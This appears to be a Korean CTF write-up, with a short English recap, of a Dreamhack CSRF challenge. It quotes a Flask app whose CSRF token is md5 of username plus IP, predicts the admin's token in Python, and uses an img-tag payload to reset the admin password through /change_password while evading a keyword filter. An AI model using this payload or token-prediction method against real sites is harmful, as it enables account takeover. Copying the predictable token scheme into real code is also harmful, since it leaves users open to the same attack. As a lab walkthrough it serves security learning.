https://dreamhack.io/wargame/challenges/442
CSRF 심화 문제입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.
app.py를 확인해 보았습니다.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("user not found");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
/login 라우트를 보면, 로그인 성공시 md5((username + request.remote_addr).encode()).hexdigest() 방식으로 CSRF 토큰을 부여함을 확인할 수 있습니다. 토큰 부여 형식이 정해져 있기 때문에 보안상 취약점이 있음을 알 수 있습니다.
admin 계정으로 로그인해야 하지만, 해당 계정의 비밀번호는 플래그 값으로 설정되어 있어 알 수 없습니다. 따라서 사이트에 구현된 기능을 활용해 우회적으로 로그인을 시도해야 함을 유추할 수 있습니다. 마침 비밀번호를 변경할 수 있는 기능이 존재하므로, /change_password 라우트를 확인해 보았습니다.
@app.route("/change_password")
def change_password():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
csrf_token = token_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
pw = request.args.get("pw", None)
if pw == None:
return render_template('change_password.html', csrf_token=csrf_token)
else:
if csrf_token != request.args.get("csrftoken", ""):
return '<script>alert("wrong csrf token");history.go(-1);</script>'
users[username] = pw
return '<script>alert("Done");history.go(-1);</script>'
해당 라우트는 단순히 pw 파라미터만으로 비밀번호를 변경할 수 있는 것이 아니라, 내부적으로 CSRF 토큰 검증을 수행합니다. 즉, admin의 CSFR 토큰 값을 알고 있다면, 해당 계정의 비밀번호 변경이 가능합니다.
md5((username + request.remote_addr).encode()).hexdigest() 을 이용해서 admin의 CSRF 토큰을 구합니다.
username + request.remote_addr 을 그대로 바이트로 해석해서 MD5 해시를 계산한 결과가 CSRF 토큰입니다. ( MD5 해시는 16진수 문자열 형태로 표시됩니다.)username 은 admin, request.remote_addr 은 IP주소를 뜻합니다. 이 문제는 로컬 호스트이므로 127.0.0.1 입니다. from hashlib import md5
token = md5(b"admin127.0.0.1").hexdigest()
print(token)admin으로 로그인 했을때 제공되는 토큰값인 7505b9c72ab4aa94b1a4ed7b207b67fb 가 출력됩니다.알아낸 토큰값을 활용하여 /flag에서 XSS 공격을 시도합니다.
<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">
/vuln 라우트에서 "frame", "script", "on" 이 필터링 되어있음을 확인할 수 있습니다. 이를 우회하기 위해 img 태그를 활용합니다./change_password?pw=1234 를 통해 admin의 비밀번호를 1234로 변경합니다.csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb 을 제시하여 admin의 비밀번호가 정상적으로 바뀔 수 있게 합니다.
username 에 admin, password에 1234를 입력하여 정상적으로 로그인에 성공하였고, 최종적으로 플래그를 획득할 수 있었습니다.

md5(username + IP), which can be predicted since both values are known (admin127.0.0.1)./change_password route requires both a new password and a correct CSRF token tied to the session.md5(b"admin127.0.0.1"), the attacker gets the admin's token: 7505b9c72ab4aa94b1a4ed7b207b67fb.<img> tag was used to trigger a GET request to /change_password, changing the admin's password without using forbidden keywords (on, script, etc.).1234), the attacker successfully logs in and retrieves the flag.